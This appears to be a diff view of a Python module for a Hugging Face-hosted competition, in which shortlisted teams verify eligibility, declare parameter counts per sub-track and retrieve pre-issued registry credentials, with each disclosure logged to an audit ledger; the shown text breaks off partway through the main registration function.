|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Test-phase registration: a shortlisted team signs in and gets its registry credentials.
|
| 2 |
+
|
| 3 |
+
Replaces emailing 30 teams individually. A team signs in with Hugging Face on the
|
| 4 |
+
Submit tab, names its team, and if BOTH checks pass the page shows the ECR
|
| 5 |
+
repository URI and the access key issued to that team.
|
| 6 |
+
|
| 7 |
+
The three checks, from the organizers' rules:
|
| 8 |
+
|
| 9 |
+
1. The (hf_user, team_name) pair must appear together on a SCORED validation
|
| 10 |
+
submission. Signing in proves the account; the pair proves the account is the
|
| 11 |
+
one that competed under that team name. Neither alone is enough: a team name
|
| 12 |
+
is free text anyone can type, and an account can enter under several names.
|
| 13 |
+
2. The team must be on the shortlist.
|
| 14 |
+
3. The team must declare a total parameter count, INCLUDING any frozen backbone,
|
| 15 |
+
FOR THE SUB-TRACK IT IS REGISTERING. This is a declaration, not a
|
| 16 |
+
measurement, and it is recorded rather than trusted: the About tab already
|
| 17 |
+
tells participants that parameter counts are verified in the test phase, and
|
| 18 |
+
this is the number that verification is run against. Collecting it at
|
| 19 |
+
registration rather than at submission means a self-evidently wrong count can
|
| 20 |
+
be queried before a team spends compute.
|
| 21 |
+
|
| 22 |
+
Registration is PER SUB-TRACK, not per team, and the reason is that a model has
|
| 23 |
+
one size but a team can enter several sub-tracks. The divisions are defined by
|
| 24 |
+
parameter count (Small is <= 2B, Large is above it), so a team seated in both
|
| 25 |
+
divisions of a track is necessarily bringing two different models, and one
|
| 26 |
+
number per team could not describe them. A team registers once per sub-track it
|
| 27 |
+
is shortlisted for and declares that model's size each time.
|
| 28 |
+
|
| 29 |
+
Credentials do not vary by sub-track: one ECR repository is issued per TEAM, so
|
| 30 |
+
every registration by the same team shows the same credentials. What differs per
|
| 31 |
+
registration is the declaration and the ledger row.
|
| 32 |
+
|
| 33 |
+
Credentials are NOT created here. They are prepared ahead of time by the
|
| 34 |
+
organizers and deposited as a JSON map in a private dataset that only this
|
| 35 |
+
Space's token can read; this module looks a team up in that map. Nothing in this
|
| 36 |
+
Space can create a credential, which is the point: the Space is reachable from
|
| 37 |
+
the internet and the thing that issues credentials is not.
|
| 38 |
+
|
| 39 |
+
Every disclosure appends a row to an audit ledger in the same private dataset:
|
| 40 |
+
which account claimed which team's key, and when. The ledger records the access
|
| 41 |
+
key ID, never the secret, so the ledger itself is not a second copy of the
|
| 42 |
+
credential. Re-claiming is allowed and logged (a team that loses the page must be
|
| 43 |
+
able to get it back), so the ledger is the record of how many times each key was
|
| 44 |
+
shown rather than a lock.
|
| 45 |
+
"""
|
| 46 |
+
|
| 47 |
+
from __future__ import annotations
|
| 48 |
+
|
| 49 |
+
import io
|
| 50 |
+
import json
|
| 51 |
+
import random
|
| 52 |
+
import re
|
| 53 |
+
import string
|
| 54 |
+
from collections import defaultdict
|
| 55 |
+
from datetime import datetime, timezone
|
| 56 |
+
|
| 57 |
+
from huggingface_hub.errors import EntryNotFoundError
|
| 58 |
+
|
| 59 |
+
import config
|
| 60 |
+
|
| 61 |
+
# Paths inside the PRIVATE requests dataset. Everything under admin/ is written
|
| 62 |
+
# by the organizers, never by a participant path in this app.
|
| 63 |
+
SHORTLIST_PATH = "admin/test_phase_shortlist.json"
|
| 64 |
+
CREDENTIALS_PATH = "admin/test_phase_credentials.json"
|
| 65 |
+
LEDGER_DIR = "admin/test_phase_registrations"
|
| 66 |
+
|
| 67 |
+
|
| 68 |
+
def normalize_team(name: str) -> str:
|
| 69 |
+
"""Dedup key for a team name. Kept identical to shortlist.normalize_team().
|
| 70 |
+
|
| 71 |
+
Duplicated rather than imported because this module runs inside the Space and
|
| 72 |
+
shortlist.py is an organizer tool; the two are pinned together by
|
| 73 |
+
tests/test_register_test.py, which asserts they agree.
|
| 74 |
+
"""
|
| 75 |
+
s = (name or "").strip()
|
| 76 |
+
s = re.sub(r"\s+", " ", s)
|
| 77 |
+
s = s.strip(" .,-_()[]")
|
| 78 |
+
return s.casefold()
|
| 79 |
+
|
| 80 |
+
|
| 81 |
+
def _now_iso() -> str:
|
| 82 |
+
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
| 83 |
+
|
| 84 |
+
|
| 85 |
+
def _read_json(api, path: str):
|
| 86 |
+
"""Read a JSON file out of the private requests dataset, or None."""
|
| 87 |
+
from huggingface_hub import hf_hub_download
|
| 88 |
+
|
| 89 |
+
local = hf_hub_download(
|
| 90 |
+
config.REQUESTS_REPO, path, repo_type="dataset", token=api.token
|
| 91 |
+
)
|
| 92 |
+
with open(local, encoding="utf-8") as fh:
|
| 93 |
+
return json.load(fh)
|
| 94 |
+
|
| 95 |
+
|
| 96 |
+
def load_shortlist(api) -> dict:
|
| 97 |
+
"""team key -> {sub-track: seat detail} for every seat the team holds.
|
| 98 |
+
|
| 99 |
+
The seat detail is the validation entry that WON the seat: its model name
|
| 100 |
+
and declared size. It is carried so registration can show a team which
|
| 101 |
+
entry earned its place and compare the size it now declares against the one
|
| 102 |
+
it declared then. It is a record and a prompt, never a gate: a team is
|
| 103 |
+
expected to bring an improved model to the test phase.
|
| 104 |
+
|
| 105 |
+
Accepts the shape shortlist.py emits (a report with `subtracks`) as well as a
|
| 106 |
+
hand-written {team: [subtrack, ...]} map, because the organizers will edit
|
| 107 |
+
the machine-generated list before it becomes the invitation list and should
|
| 108 |
+
not have to preserve a schema to do it.
|
| 109 |
+
"""
|
| 110 |
+
raw = _read_json(api, SHORTLIST_PATH)
|
| 111 |
+
if isinstance(raw, dict) and "subtracks" in raw:
|
| 112 |
+
out: dict[str, dict[str, dict]] = defaultdict(dict)
|
| 113 |
+
for st in raw["subtracks"]:
|
| 114 |
+
for t in st.get("shortlist", []):
|
| 115 |
+
out[normalize_team(t.get("team_name"))][
|
| 116 |
+
subtrack(st["track"], st["division"])
|
| 117 |
+
] = {
|
| 118 |
+
"model_name": t.get("model_name"),
|
| 119 |
+
"total_params": t.get("total_params"),
|
| 120 |
+
"hf_user": t.get("hf_user"),
|
| 121 |
+
"rank": t.get("rank"),
|
| 122 |
+
}
|
| 123 |
+
return dict(out)
|
| 124 |
+
if isinstance(raw, dict):
|
| 125 |
+
# Hand-edited map: {team: [subtrack, ...]}. No seat detail, so every
|
| 126 |
+
# seat maps to an empty dict rather than to None, which keeps every
|
| 127 |
+
# reader on one shape instead of branching on the file's provenance.
|
| 128 |
+
return {
|
| 129 |
+
normalize_team(k): {sub: {} for sub in v} for k, v in raw.items()
|
| 130 |
+
}
|
| 131 |
+
raise ValueError("shortlist file is neither a report nor a team map")
|
| 132 |
+
|
| 133 |
+
|
| 134 |
+
def load_credentials(api) -> dict:
|
| 135 |
+
"""team key -> {repo_uri, access_key_id, secret_access_key, region}."""
|
| 136 |
+
raw = _read_json(api, CREDENTIALS_PATH)
|
| 137 |
+
return {normalize_team(k): v for k, v in raw.items()}
|
| 138 |
+
|
| 139 |
+
|
| 140 |
+
def validation_pairs(api) -> set[tuple[str, str]]:
|
| 141 |
+
"""Every (hf_user, normalized team) pair that holds a SCORED val result.
|
| 142 |
+
|
| 143 |
+
Read from the RESULTS dataset, not requests: a submission that was registered
|
| 144 |
+
and never scored did not compete. Reads only the fields it needs, so a result
|
| 145 |
+
file gaining a field cannot break this.
|
| 146 |
+
"""
|
| 147 |
+
from huggingface_hub import hf_hub_download
|
| 148 |
+
|
| 149 |
+
files = [
|
| 150 |
+
f
|
| 151 |
+
for f in api.list_repo_files(config.RESULTS_REPO, repo_type="dataset")
|
| 152 |
+
if f.startswith(f"results/{config.PHASE}/") and f.endswith(".json")
|
| 153 |
+
]
|
| 154 |
+
pairs = set()
|
| 155 |
+
for f in files:
|
| 156 |
+
try:
|
| 157 |
+
local = hf_hub_download(
|
| 158 |
+
config.RESULTS_REPO, f, repo_type="dataset", token=api.token
|
| 159 |
+
)
|
| 160 |
+
with open(local, encoding="utf-8") as fh:
|
| 161 |
+
obj = json.load(fh)
|
| 162 |
+
except Exception:
|
| 163 |
+
# A single unreadable result must not deny every team. The pair set
|
| 164 |
+
# only ever grows, so skipping one file can refuse a legitimate team
|
| 165 |
+
# and can never admit an illegitimate one; that is the safe
|
| 166 |
+
# direction, and the organizers can add the pair by hand.
|
| 167 |
+
continue
|
| 168 |
+
if obj.get("status") != "FINISHED":
|
| 169 |
+
continue
|
| 170 |
+
user = obj.get("hf_user")
|
| 171 |
+
team = normalize_team(obj.get("team_name"))
|
| 172 |
+
if user and team:
|
| 173 |
+
pairs.add((str(user), team))
|
| 174 |
+
return pairs
|
| 175 |
+
|
| 176 |
+
|
| 177 |
+
_EMAIL_RE = re.compile(r"^[^@\s]+@[^@\s.]+(\.[^@\s.]+)+$")
|
| 178 |
+
|
| 179 |
+
# A ceiling, not a rule about team size: it stops a paste accident becoming a
|
| 180 |
+
# thousand-row ledger entry. A genuinely larger team contacts the organizers.
|
| 181 |
+
MAX_TEAM_MEMBERS = 20
|
| 182 |
+
|
| 183 |
+
|
| 184 |
+
def subtrack(track: str, division: str) -> str:
|
| 185 |
+
"""The sub-track key. One string, so it cannot be assembled two ways."""
|
| 186 |
+
return f"{track}/{division}"
|
| 187 |
+
|
| 188 |
+
|
| 189 |
+
def parse_members(value: str) -> tuple[list[dict] | None, str]:
|
| 190 |
+
"""Parse the team roster: one member per line, `Name, email`.
|
| 191 |
+
|
| 192 |
+
A plain textarea rather than a repeating widget, because the roster is
|
| 193 |
+
typed once and the number of members is not known in advance. `Name <email>`
|
| 194 |
+
is accepted too, since people paste addresses in that form without thinking.
|
| 195 |
+
|
| 196 |
+
Returns (members, error). Every member is checked, and the error names the
|
| 197 |
+
line at fault, because "invalid input" on a ten-line box is useless.
|
| 198 |
+
"""
|
| 199 |
+
lines = [ln.strip() for ln in (value or "").splitlines()]
|
| 200 |
+
lines = [ln for ln in lines if ln]
|
| 201 |
+
if not lines:
|
| 202 |
+
return None, (
|
| 203 |
+
"List your team members, one per line, as `Name, email`."
|
| 204 |
+
)
|
| 205 |
+
if len(lines) > MAX_TEAM_MEMBERS:
|
| 206 |
+
return None, (
|
| 207 |
+
f"{len(lines)} members listed; the form takes at most "
|
| 208 |
+
f"{MAX_TEAM_MEMBERS}. Contact the organizers if your team is larger."
|
| 209 |
+
)
|
| 210 |
+
|
| 211 |
+
members: list[dict] = []
|
| 212 |
+
seen: set[str] = set()
|
| 213 |
+
for i, line in enumerate(lines, 1):
|
| 214 |
+
angle = re.match(r"^(.*?)<([^>]+)>$", line)
|
| 215 |
+
if angle:
|
| 216 |
+
name, email = angle.group(1), angle.group(2)
|
| 217 |
+
elif "," in line:
|
| 218 |
+
name, _, email = line.rpartition(",")
|
| 219 |
+
else:
|
| 220 |
+
return None, (
|
| 221 |
+
f"Line {i} ('{line}') is not `Name, email`. Put one member per "
|
| 222 |
+
"line, with the name first and the address after a comma."
|
| 223 |
+
)
|
| 224 |
+
name = name.strip().strip(",").strip()
|
| 225 |
+
addr, why = parse_email(email)
|
| 226 |
+
if addr is None:
|
| 227 |
+
return None, f"Line {i}: {why}"
|
| 228 |
+
if not name:
|
| 229 |
+
return None, f"Line {i} has an address but no name."
|
| 230 |
+
if addr.lower() in seen:
|
| 231 |
+
return None, f"{addr} is listed twice. Each member appears once."
|
| 232 |
+
seen.add(addr.lower())
|
| 233 |
+
members.append({"name": name, "email": addr})
|
| 234 |
+
return members, ""
|
| 235 |
+
|
| 236 |
+
|
| 237 |
+
def parse_poc(value: str, members: list[dict], hf_user: str) -> tuple[dict | None, str]:
|
| 238 |
+
"""The point of contact IS whoever is registering. Returns their record.
|
| 239 |
+
|
| 240 |
+
Not a nomination. The Hugging Face account signing in is the one matched
|
| 241 |
+
against the validation submissions and the shortlist, so it is already the
|
| 242 |
+
account that owns the seat; making the person behind it the contact of
|
| 243 |
+
record means the address we write to belongs to someone we have actually
|
| 244 |
+
verified holds the seat. Nominating a third party would break that link and
|
| 245 |
+
is the reason this is not a free choice.
|
| 246 |
+
|
| 247 |
+
All the participant supplies is which roster line is theirs. Requiring it to
|
| 248 |
+
be on the roster is the rest of it: a contact who is not on the team is how
|
| 249 |
+
a message reaches nobody.
|
| 250 |
+
"""
|
| 251 |
+
addr, why = parse_email(value)
|
| 252 |
+
if addr is None:
|
| 253 |
+
return None, f"Main point of contact: {why}"
|
| 254 |
+
known = {m["email"].lower(): m for m in members}
|
| 255 |
+
if addr.lower() not in known:
|
| 256 |
+
listed = ", ".join(m["email"] for m in members)
|
| 257 |
+
return None, (
|
| 258 |
+
f"The main point of contact ({addr}) is not one of the team members "
|
| 259 |
+
f"you listed. It has to be you, and you have to be on the list. "
|
| 260 |
+
f"Listed: {listed}."
|
| 261 |
+
)
|
| 262 |
+
member = known[addr.lower()]
|
| 263 |
+
return {"hf_user": hf_user, "name": member["name"], "email": member["email"]}, ""
|
| 264 |
+
|
| 265 |
+
|
| 266 |
+
def parse_email(value: str) -> tuple[str | None, str]:
|
| 267 |
+
"""The contact address for this team, required.
|
| 268 |
+
|
| 269 |
+
Deliberately a loose check. The purpose is to catch a typo or an empty box,
|
| 270 |
+
not to adjudicate RFC 5322; a real address that a strict regex rejects would
|
| 271 |
+
lock a shortlisted team out of the phase, which is far worse than storing an
|
| 272 |
+
address that turns out to bounce.
|
| 273 |
+
"""
|
| 274 |
+
email = (value or "").strip()
|
| 275 |
+
if not email:
|
| 276 |
+
return None, "Enter a contact email address so we can reach your team."
|
| 277 |
+
# Accept a pasted roster line. The members box directly above asks for
|
| 278 |
+
# `Name, email`, so copying that format down into this box is the obvious
|
| 279 |
+
# mistake to make, and rejecting it teaches the participant nothing except
|
| 280 |
+
# that the form is fussy. If exactly one comma-separated part looks like an
|
| 281 |
+
# address, that is unambiguously what was meant.
|
| 282 |
+
if not _EMAIL_RE.match(email) and "," in email:
|
| 283 |
+
looks_like = [
|
| 284 |
+
part.strip() for part in email.split(",") if _EMAIL_RE.match(part.strip())
|
| 285 |
+
]
|
| 286 |
+
if len(looks_like) == 1:
|
| 287 |
+
email = looks_like[0]
|
| 288 |
+
if not _EMAIL_RE.match(email):
|
| 289 |
+
return None, (
|
| 290 |
+
f"'{email}' does not look like an email address. Enter just the "
|
| 291 |
+
"address, for example ada@example.com, not 'Ada Lovelace, "
|
| 292 |
+
"ada@example.com'."
|
| 293 |
+
)
|
| 294 |
+
return email, ""
|
| 295 |
+
|
| 296 |
+
|
| 297 |
+
def parse_total_params(value) -> tuple[int | None, str]:
|
| 298 |
+
"""Read the declared total parameter count, given in BILLIONS.
|
| 299 |
+
|
| 300 |
+
Returns (params_or_None, error). Billions because that is the unit the rest
|
| 301 |
+
of the board uses and the unit a participant thinks in; the stored value is
|
| 302 |
+
an integer count, so the two never have to be reconciled later.
|
| 303 |
+
|
| 304 |
+
A count of zero is refused rather than stored. Several validation entries
|
| 305 |
+
declared 0.00000B, which cannot be true of anything that runs, and a zero
|
| 306 |
+
that flows into the ledger is indistinguishable from "not asked".
|
| 307 |
+
"""
|
| 308 |
+
if value in (None, ""):
|
| 309 |
+
return None, (
|
| 310 |
+
"Enter your model's total parameter count, in billions, including "
|
| 311 |
+
"any frozen backbone."
|
| 312 |
+
)
|
| 313 |
+
try:
|
| 314 |
+
billions = float(value)
|
| 315 |
+
except (TypeError, ValueError):
|
| 316 |
+
return None, f"Total parameters must be a number in billions, not {value!r}."
|
| 317 |
+
if billions <= 0:
|
| 318 |
+
return None, (
|
| 319 |
+
"Total parameters must be greater than zero. Count every parameter "
|
| 320 |
+
"the model loads at inference, including any frozen backbone."
|
| 321 |
+
)
|
| 322 |
+
params = int(round(billions * 1e9))
|
| 323 |
+
if params <= 0:
|
| 324 |
+
return None, (
|
| 325 |
+
f"{billions}B rounds to zero parameters. If your model really is "
|
| 326 |
+
"that small, contact the organizers rather than registering."
|
| 327 |
+
)
|
| 328 |
+
if params < config.TEST_REGISTRATION_MIN_TOTAL_PARAMS:
|
| 329 |
+
floor_b = config.TEST_REGISTRATION_MIN_TOTAL_PARAMS / 1e9
|
| 330 |
+
return None, (
|
| 331 |
+
f"{billions}B is below the {floor_b:g}B floor for the test phase. "
|
| 332 |
+
"Count every parameter the model loads at inference, including any "
|
| 333 |
+
"frozen backbone; if the count is right, contact the organizers."
|
| 334 |
+
)
|
| 335 |
+
return params, ""
|
| 336 |
+
|
| 337 |
+
|
| 338 |
+
def size_note(seat: dict, total_params: int) -> str:
|
| 339 |
+
"""Compare the size declared now against the one declared at validation.
|
| 340 |
+
|
| 341 |
+
Returns "" when there is nothing worth saying. Never refuses: a team is
|
| 342 |
+
allowed to bring a different model to the test phase, so a change is
|
| 343 |
+
expected and is not evidence of anything on its own. What is worth
|
| 344 |
+
surfacing is a change of ORDER OF MAGNITUDE, which is usually either a unit
|
| 345 |
+
slip (someone typing millions into a billions box) or a declaration that
|
| 346 |
+
was wrong at validation. Both are better raised now than after a score.
|
| 347 |
+
|
| 348 |
+
Recorded on the ledger row either way, so the organizers see it even when
|
| 349 |
+
the participant ignores the note.
|
| 350 |
+
"""
|
| 351 |
+
val = seat.get("total_params")
|
| 352 |
+
if not val or not total_params:
|
| 353 |
+
return ""
|
| 354 |
+
factor = config.TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR
|
| 355 |
+
if factor <= 0:
|
| 356 |
+
return ""
|
| 357 |
+
bigger, smaller = max(val, total_params), min(val, total_params)
|
| 358 |
+
if bigger < smaller * factor:
|
| 359 |
+
return ""
|
| 360 |
+
direction = "larger" if total_params > val else "smaller"
|
| 361 |
+
return (
|
| 362 |
+
f"Note: at validation this team declared {val / 1e9:g}B for the entry "
|
| 363 |
+
f"that earned this seat, and you have declared {total_params / 1e9:g}B "
|
| 364 |
+
f"now, which is {direction} by more than {factor}x. That is fine if you "
|
| 365 |
+
"changed model. If it is a typo, re-register with the right number: "
|
| 366 |
+
"parameter counts are verified in the test phase."
|
| 367 |
+
)
|
| 368 |
+
|
| 369 |
+
|
| 370 |
+
def check_division(total_params: int, division: str) -> tuple[bool, str]:
|
| 371 |
+
"""The declared size must be consistent with the division being entered.
|
| 372 |
+
|
| 373 |
+
This is the check that makes a per-sub-track declaration worth collecting.
|
| 374 |
+
Divisions ARE parameter bands, so a team entering Small with a 7B model is
|
| 375 |
+
either mis-declaring or entering the wrong division, and either way the
|
| 376 |
+
submission would be refused later at a point where it has already cost them
|
| 377 |
+
a slot. Catching it here costs them nothing.
|
| 378 |
+
"""
|
| 379 |
+
actual = config.division_for_params(int(total_params))
|
| 380 |
+
if actual is None:
|
| 381 |
+
return False, f"total_params={total_params} is not a usable parameter count."
|
| 382 |
+
if actual != division:
|
| 383 |
+
lo, hi = config.DIVISION_CAPS[division]
|
| 384 |
+
bound = "at most 2B" if division == "small" else "more than 2B"
|
| 385 |
+
return False, (
|
| 386 |
+
f"{total_params / 1e9:g}B is a '{actual}' model, but you are "
|
| 387 |
+
f"registering for {division.capitalize()}, which takes {bound}. "
|
| 388 |
+
"Register this model under its own division, or correct the count."
|
| 389 |
+
)
|
| 390 |
+
return True, ""
|
| 391 |
+
|
| 392 |
+
|
| 393 |
+
def check(
|
| 394 |
+
hf_user: str, team_name: str, track: str, division: str, pairs, shortlist
|
| 395 |
+
) -> tuple[bool, str]:
|
| 396 |
+
"""The eligibility decision. Pure, so the whole rule is unit-testable.
|
| 397 |
+
|
| 398 |
+
Returns (ok, reason_for_the_participant). Every refusal names which of the
|
| 399 |
+
three checks failed and what to do about it, because a team that is
|
| 400 |
+
genuinely shortlisted and typed its name differently must not read "not
|
| 401 |
+
eligible".
|
| 402 |
+
|
| 403 |
+
The parameter declaration is deliberately NOT checked here: it is a property
|
| 404 |
+
of the model, not of eligibility, and parse_total_params() owns it. Keeping
|
| 405 |
+
them apart means a team whose count is malformed is told to fix the count,
|
| 406 |
+
not told it is ineligible.
|
| 407 |
+
"""
|
| 408 |
+
if not (hf_user or "").strip():
|
| 409 |
+
return False, "Sign in with Hugging Face first."
|
| 410 |
+
if not (team_name or "").strip():
|
| 411 |
+
return False, "Enter your team name, exactly as it appears on the leaderboard."
|
| 412 |
+
if track not in config.TEST_TRACKS:
|
| 413 |
+
return False, (
|
| 414 |
+
f"The test phase does not take '{track}'. Open tracks: "
|
| 415 |
+
+ ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
|
| 416 |
+
+ "."
|
| 417 |
+
)
|
| 418 |
+
if division not in config.DIVISIONS:
|
| 419 |
+
return False, f"Unknown division: {division}"
|
| 420 |
+
|
| 421 |
+
team = normalize_team(team_name)
|
| 422 |
+
sub = subtrack(track, division)
|
| 423 |
+
|
| 424 |
+
if (hf_user, team) not in pairs:
|
| 425 |
+
# Distinguish "wrong team for this account" from "this account never
|
| 426 |
+
# competed": the first is a typo the participant can fix, the second is
|
| 427 |
+
# someone else's problem to explain.
|
| 428 |
+
mine = sorted({t for (u, t) in pairs if u == hf_user})
|
| 429 |
+
if mine:
|
| 430 |
+
return False, (
|
| 431 |
+
f"`{hf_user}` has validation submissions, but not under "
|
| 432 |
+
f"'{team_name.strip()}'. The team name must match the one on your "
|
| 433 |
+
f"validation submissions. On this account that is: "
|
| 434 |
+
+ ", ".join(f"`{t}`" for t in mine)
|
| 435 |
+
+ "."
|
| 436 |
+
)
|
| 437 |
+
return False, (
|
| 438 |
+
f"No scored validation submission is recorded for `{hf_user}`. "
|
| 439 |
+
"Credentials are issued to the account that competed. If your team "
|
| 440 |
+
"submitted from a different Hugging Face account, sign in with that "
|
| 441 |
+
"one; if you believe this is wrong, contact the organizers."
|
| 442 |
+
)
|
| 443 |
+
|
| 444 |
+
if team not in shortlist:
|
| 445 |
+
return False, (
|
| 446 |
+
f"'{team_name.strip()}' is not on the test-phase shortlist. Only "
|
| 447 |
+
"shortlisted teams enter the test phase. Contact the organizers if "
|
| 448 |
+
"you believe this is wrong."
|
| 449 |
+
)
|
| 450 |
+
|
| 451 |
+
# Shortlisting is per SUB-TRACK, so being on the list is not enough: a team
|
| 452 |
+
# seated in EgoConv/Large has no seat in EgoLongQA/Small. Name the seats the
|
| 453 |
+
# team does hold, because the likely cause is picking the wrong radio rather
|
| 454 |
+
# than a team trying its luck.
|
| 455 |
+
if sub not in shortlist[team]:
|
| 456 |
+
seats = ", ".join(f"`{s}`" for s in sorted(shortlist[team]))
|
| 457 |
+
return False, (
|
| 458 |
+
f"'{team_name.strip()}' is shortlisted, but not for `{sub}`. "
|
| 459 |
+
f"Seats held: {seats}. Register once for each of those, declaring "
|
| 460 |
+
"that model's size each time."
|
| 461 |
+
)
|
| 462 |
+
|
| 463 |
+
return True, ""
|
| 464 |
+
|
| 465 |
+
|
| 466 |
+
def _ledger_row(
|
| 467 |
+
hf_user: str,
|
| 468 |
+
team: str,
|
| 469 |
+
track: str,
|
| 470 |
+
division: str,
|
| 471 |
+
members: list,
|
| 472 |
+
poc: dict,
|
| 473 |
+
model_name: str,
|
| 474 |
+
seat: dict,
|
| 475 |
+
total_params: int,
|
| 476 |
+
cred: dict,
|
| 477 |
+
) -> dict:
|
| 478 |
+
"""Audit row, one per registration, keyed by sub-track.
|
| 479 |
+
|
| 480 |
+
Carries the access key ID and never the secret.
|
| 481 |
+
|
| 482 |
+
`declared_total_params` is the whole reason the count is collected: this row
|
| 483 |
+
is the record of what a team said BEFORE it saw the test data, which is the
|
| 484 |
+
only version of the claim that cannot be revised once a score is known. It
|
| 485 |
+
is per sub-track because the divisions are parameter bands, so one number
|
| 486 |
+
could not describe a team entered in both.
|
| 487 |
+
"""
|
| 488 |
+
return {
|
| 489 |
+
"hf_user": hf_user,
|
| 490 |
+
"team": team,
|
| 491 |
+
"track": track,
|
| 492 |
+
"division": division,
|
| 493 |
+
"subtrack": subtrack(track, division),
|
| 494 |
+
# The roster and its point of contact. The HF account above is what the
|
| 495 |
+
# seat is matched on; this is who the organizers actually write to.
|
| 496 |
+
"members": members,
|
| 497 |
+
# The contact of record: the account that matched the shortlist, and the
|
| 498 |
+
# human behind it. Stored together so a later reader does not have to
|
| 499 |
+
# join two fields to know who to write to.
|
| 500 |
+
"poc": poc,
|
| 501 |
+
"model_name": model_name,
|
| 502 |
+
"declared_total_params": total_params,
|
| 503 |
+
# The validation entry that earned this seat, copied so the row is
|
| 504 |
+
# self-describing: a later reader can see what changed between phases
|
| 505 |
+
# without having to find the shortlist file as it was on the day.
|
| 506 |
+
"val_model_name": seat.get("model_name"),
|
| 507 |
+
"val_total_params": seat.get("total_params"),
|
| 508 |
+
"size_discrepancy": bool(size_note(seat, total_params)),
|
| 509 |
+
"access_key_id": cred.get("access_key_id"),
|
| 510 |
+
"repo_uri": cred.get("repo_uri"),
|
| 511 |
+
"claimed_at": _now_iso(),
|
| 512 |
+
}
|
| 513 |
+
|
| 514 |
+
|
| 515 |
+
def _record(
|
| 516 |
+
api,
|
| 517 |
+
hf_user: str,
|
| 518 |
+
team: str,
|
| 519 |
+
track: str,
|
| 520 |
+
division: str,
|
| 521 |
+
members: list,
|
| 522 |
+
poc: dict,
|
| 523 |
+
model_name: str,
|
| 524 |
+
seat: dict,
|
| 525 |
+
total_params: int,
|
| 526 |
+
cred: dict,
|
| 527 |
+
) -> None:
|
| 528 |
+
row = _ledger_row(
|
| 529 |
+
hf_user, team, track, division, members, poc, model_name, seat,
|
| 530 |
+
total_params, cred,
|
| 531 |
+
)
|
| 532 |
+
safe_team = re.sub(r"[^a-z0-9-]+", "-", team).strip("-") or "team"
|
| 533 |
+
stamp = row["claimed_at"].replace(":", "-")
|
| 534 |
+
# A random suffix, because claimed_at has second resolution and uploading to
|
| 535 |
+
# a path that already exists OVERWRITES it. Two claims in the same second,
|
| 536 |
+
# which is exactly what a double-click produces, would otherwise leave one
|
| 537 |
+
# row where two disclosures happened. Counting how many times a key was
|
| 538 |
+
# shown is the ledger's whole job, so losing one silently is its worst
|
| 539 |
+
# failure.
|
| 540 |
+
suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
|
| 541 |
+
path = f"{LEDGER_DIR}/{safe_team}-{track}-{division}-{stamp}-{suffix}.json"
|
| 542 |
+
api.upload_file(
|
| 543 |
+
path_or_fileobj=io.BytesIO(json.dumps(row, indent=2).encode()),
|
| 544 |
+
path_in_repo=path,
|
| 545 |
+
repo_id=config.REQUESTS_REPO,
|
| 546 |
+
repo_type="dataset",
|
| 547 |
+
# No email in the commit message: dataset commit history is a different
|
| 548 |
+
# surface from the file, and a contact address does not belong in it.
|
| 549 |
+
commit_message=f"test-phase registration: {team} {subtrack(track, division)}",
|
| 550 |
+
)
|
| 551 |
+
|
| 552 |
+
|
| 553 |
+
def issue(
|
| 554 |
+
api,
|
| 555 |
+
hf_user: str,
|
| 556 |
+
team_name: str,
|
| 557 |
+
track: str,
|
| 558 |
+
division: str,
|
| 559 |
+
members: str,
|
| 560 |
+
poc: str,
|
| 561 |
+
model_name: str,
|
| 562 |
+
total_params_b,
|
| 563 |
+
) -> tuple[bool, str]:
|
| 564 |
+
"""Full path for ONE sub-track: verify, record, render the credentials.
|
| 565 |
+
|
| 566 |
+
Returns (ok, markdown_for_the_participant). The credentials are rendered only
|
| 567 |
+
on the ok path, and the failure path never contains any part of them.
|
| 568 |
+
|
| 569 |
+
Everything that can be judged from the form alone is judged BEFORE any
|
| 570 |
+
network read, so a team that mistypes gets an instant answer instead of
|
| 571 |
+
waiting on the results dataset, and a malformed registration never reaches
|
| 572 |
+
the ledger.
|
| 573 |
+
"""
|
| 574 |
+
if not config.TEST_PHASE_OPEN:
|
| 575 |
+
return False, "Test-phase registration is not open yet."
|
| 576 |
+
|
| 577 |
+
roster, why = parse_members(members)
|
| 578 |
+
if roster is None:
|
| 579 |
+
return False, why
|
| 580 |
+
|
| 581 |
+
poc_record, why = parse_poc(poc, roster, hf_user)
|
| 582 |
+
if poc_record is None:
|
| 583 |
+
return False, why
|
| 584 |
+
|
| 585 |
+
model = (model_name or "").strip()
|
| 586 |
+
if not model:
|
| 587 |
+
return False, (
|
| 588 |
+
"Enter the name of the model you intend to submit for this "
|
| 589 |
+
"sub-track. It does not have to be the one you entered at "
|
| 590 |
+
"validation."
|
| 591 |
+
)
|
| 592 |
+
|
| 593 |
+
total_params, why = parse_total_params(total_params_b)
|
| 594 |
+
if total_params is None:
|
| 595 |
+
return False, why
|
| 596 |
+
|
| 597 |
+
ok, why = check_division(total_params, division)
|
| 598 |
+
if not ok:
|
| 599 |
+
return False, why
|
| 600 |
+
|
| 601 |
+
# The three sources are loaded separately, and the credentials one is
|
| 602 |
+
# allowed to be absent. Sharing a try made a missing credentials file report
|
| 603 |
+
# as "could not check eligibility", which is the opposite of what happened:
|
| 604 |
+
# eligibility was never checked, and the participant was told to retry
|
| 605 |
+
# something that could not succeed until an organizer uploaded a file.
|
| 606 |
+
try:
|
| 607 |
+
shortlist = load_shortlist(api)
|
| 608 |
+
except Exception as e:
|
| 609 |
+
# Never surface the raw exception: it carries private repo paths.
|
| 610 |
+
print(f"[register_test] shortlist unavailable: {e!r}")
|
| 611 |
+
return False, (
|
| 612 |
+
